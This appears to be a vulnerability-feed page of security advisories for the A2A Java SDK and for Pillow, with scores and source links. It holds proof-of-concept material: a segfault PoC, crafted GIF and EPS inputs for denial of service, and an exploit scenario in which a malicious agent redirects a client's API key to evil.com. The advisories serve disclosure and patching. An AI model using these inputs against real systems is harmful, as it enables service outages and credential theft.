*Impact.** A malicious or compromised A2A agent can cause the client's API key credential to be forwarded to an arbitrary third-party server. The agent serves an AgentCard with an `APIKeySecurityScheme` specifying a custom header name, then responds with an HTTP redirect. The JDK HttpClient follows the redirect and forwards the custom header containing the credential, since only the standard `Authorization` header may be stripped on cross-origin redirects.

**Where.** `client/transport/spi/src/main/java/org/a2aproject/sdk/client/transport/spi/interceptors/auth/AuthInterceptor.java:69` in `intercept`
CVSS 5.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-9rhm-2h4x-jwmx).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111763&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9rhm-2h4x-jwmx: https://github.com/advisories/GHSA-9rhm-2h4x-jwmx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111763&date=2026-10-25
*Impact.** A malicious or compromised A2A agent can cause the client's API key credential to be forwarded to an arbitrary third-party server. The agent serves an AgentCard with an `APIKeySecurityScheme` specifying a custom header name, then responds with an HTTP redirect. The JDK HttpClient follows the redirect and forwards the custom header containing the credential, since only the standard `Authorization` header may be stripped on cross-origin redirects.

**Where.** `client/transport/spi/src/main/java/org/a2aproject/sdk/client/transport/spi/interceptors/auth/AuthInterceptor.java:69` in `intercept`

**What.** The `apiKeySecurityScheme.name()` field from the remote agent's AgentCard (untrusted, server-controlled data) is used directly as the HTTP header name when placing client credentials. Combined with `JdkA2AHttpClient`'s `followRedirects(NORMAL)` policy, credentials under custom header names survive cross-origin redirects (only `Authorization` is stripped on newer JDKs), allowing a malicious agent to leak client credentials to third-party servers. Additionally, `AuthInterceptor` does not check that `location==HEADER` before placing the credential as a header.

**Exploit scenario.** Client configures an API key credential for agent's security scheme `myAuth`. The malicious agent returns an AgentCard where `securitySchemes` includes `myAuth` as `APIKeySecurityScheme` with `name='X-Leaked-Cred'` and `location=HEADER`. `AuthInterceptor` places the credential in the `X-Leaked-Cred` header. The agent responds with HTTP 302 redirect to `https://evil.com/collect`. `JdkA2AHttpClient` follows the redirect, forwarding all custom headers including `X-Leaked-Cred` to `evil.com`. The attacker captures the client's credential.

**Preconditions.**
- Client application has configured API key credentials via `CredentialService` for the agent's security scheme
- The agent is malicious or compromised (controls its own AgentCard response)
- The default `JdkA2AHttpClient` is used (with `followRedirects=NORMAL`)
- The JDK version does not strip custom headers on cross-origin redirects (all current versions)

**Fix.** Validate the `APIKeySecurityScheme.name()` field against a whitelist of safe header names. Check that `apiKeySecurityScheme.location()` equals `Location.HEADER` before placing the credential as a header. Consider using `followRedirects(NEVER)` and implementing manual redirect handling that strips all authentication headers on cross-origin redirects.

**Verification.** 2/3 lens verifiers confirmed.

Affected package ranges reported by GitHub:
org.a2aproject.sdk:a2a-java-sdk-parent: < 1.3.0.Final
Action: GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-parent: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
https://kevwire.com/record/CVE-2026-112397
Pillow: Out-of-bounds access in _imagingmorph on a zero-width image (Oct 20, 2026).
- `src/PIL/PpmImagePlugin.py:119`

The native `apply()` writes the row edges with no guard that the width is positive:
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-58r4-6rv3-gfh8).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112397&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-58r4-6rv3-gfh8: https://github.com/advisories/GHSA-58r4-6rv3-gfh8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112397: https://nvd.nist.gov/vuln/detail/CVE-2026-112397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112397&date=2026-10-25
### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.

### Details
The PPM parser reads width and height with no lower-bound check:

- `src/PIL/PpmImagePlugin.py:119`

The native `apply()` writes the row edges with no guard that the width is positive:

- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`

`match()` and `get_on_pixels()` use the same edge-indexing pattern.

### PoC
```python
from PIL import Image, ImageMorph

# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```

Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
 #0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
https://kevwire.com/record/CVE-2026-112400
Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS (Oct 20, 2026).
```
============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-65qm-jvmh-6pqg).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112400&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-65qm-jvmh-6pqg: https://github.com/advisories/GHSA-65qm-jvmh-6pqg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112400: https://nvd.nist.gov/vuln/detail/CVE-2026-112400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112400&date=2026-10-25
```
============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new("RGB", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.

The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

## Details

`GifImageFile._seek()` lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only *after* storing it on the object:

```python
# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
 self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated
 Image._decompression_bomb_check(self._size) # ...then validated
```

`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises
`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`
(178 956 970 px by default), but by then `self._size` already holds the rejected
value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls
back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the
application still holds therefore reports `im.size == (40000, 40000)` while
`im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (`GifImagePlugin.py:383` and `:407`),
which call `_decompression_bomb_check(dispose_size)` *before* the corresponding
`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`
(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before
allocating from it.

With this 60-byte GIF (hex)

```
47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00 another 1x1 frame
3b trailer
```

`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises
`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of
178956970 pixels`, and afterwards `im.size == (40000, 40000)`,
`im.im.size == (1, 1)`, `im.tell() == 0`.

What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from `im.size` rather than
from the C buffer:

- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the
 file pointer just past the 9-byte descriptor, so the retry parses whatever
 follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`
 then runs `GifImageFile.load_prepare()`:
 ```python
 # src/PIL/GifImagePlugin.py:452-456
 elif self.mode in ("RGB", "RGBA"):
 self._prev_im = self.im
 if self._frame_palette:
 self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
 ```
 which allocates and `memset`s a 40000×40000 "P" image (1.6 GB) to decode a
 1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second
 one and converts it to RGB (another 1.6 GB + 6.4 GB).
- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the
 common flatten-onto-background idiom `Image.new("RGB", im.size, bg)`, allocate
 from `im.size` as well (measured on an object poisoned to 20000×20000:
 `rotate(45, expand=True)` completes and touches 776 MiB;
 `Image.new("RGB", im.size, "white")` touches 1.5 GiB). Operations that pass
 `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)
 fail with `ValueError`/`SystemError` instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be
pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA"
storage), 96× the error threshold.

`n_frames` / `is_animated` are not affected: they call
`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file
above reports `n_f

Affected package ranges reported by GitHub:
Pillow: >= 9.2.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit
https://kevwire.com/record/CVE-2026-112899
Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit (Oct 20, 2026).
```
============================================================================
EPS load(scale) lets Ghostscript render past the decompression bomb limit
Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vx6w-vv9f-6gvg).
Sources:
GitHub-reviewed advisory GHSA-vx6w-vv9f-6gvg: https://github.com/advisories/GHSA-vx6w-vv9f-6gvg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
```
============================================================================
EPS load(scale) lets Ghostscript render past the decompression bomb limit
Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.

The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.

The effect is a constant-factor overshoot rather than an unbounded one, for three reasons:

* The multiplier is an integer chosen by the application, not by the file.
* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.
* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.

This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.

## Details

`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.

This 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 9000 9000
%%EndComments
0 0 moveto 9000 9000 lineto stroke
showpage
```

`im.load(scale=2)` on it then executes

```
gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage
```

i.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)

The arithmetic is in `Ghostscript()`:

```python
# src/PIL/EpsImagePlugin.py:91-97
 # Hack to support hi-res rendering
 scale = int(scale) or 1
 width = size[0] * scale
 height = size[1] * scale
 # resolution is dependent on bbox and size
 res_x = 72.0 * width / (bbox[2] - bbox[0])
 …
# src/PIL/EpsImagePlugin.py:139-142
 command = [
 gs_binary,
 "-q", # quiet mode
 f"-g{width:d}x{height:d}", # set output geometry (pixels)
 …
# src/PIL/EpsImagePlugin.py:165-168
 subprocess.check_call(command, startupinfo=startupinfo)
 with Image.open(outfile) as out_im:
 out_im.load()
 return out_im.im.copy()
```

and its caller does nothing between taking `scale` from the application and invoking it:

```python
# src/PIL/EpsImagePlugin.py:411-417
 def load(self, scale: int = 1, transparency: bool = False) -> …:
 # Load EPS via Ghostscript
 if self.tile:
 assert self.fp is not None
 self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)
```

`size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 — after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory.

`WmfStubImageFile.load(dpi)` has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`

Affected package ranges reported by GitHub:
Pillow: >= 2.3.0, <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips
https://kevwire.com/record/CVE-2026-112897
Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips (Oct 20, 2026).
```
============================================================================
TiffDecode returns uninitialized memory as pixels for short JPEG strips
Location: src/libImaging/TiffDecode.c:554 in _decodeStrip()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112897).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112897&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-q45j-58j2-45rg: https://github.com/advisories/GHSA-q45j-58j2-45rg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112897: https://nvd.nist.gov/vuln/detail/CVE-2026-112897
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112897&date=2026-10-25
```
============================================================================
TiffDecode returns uninitialized memory as pixels for short JPEG strips
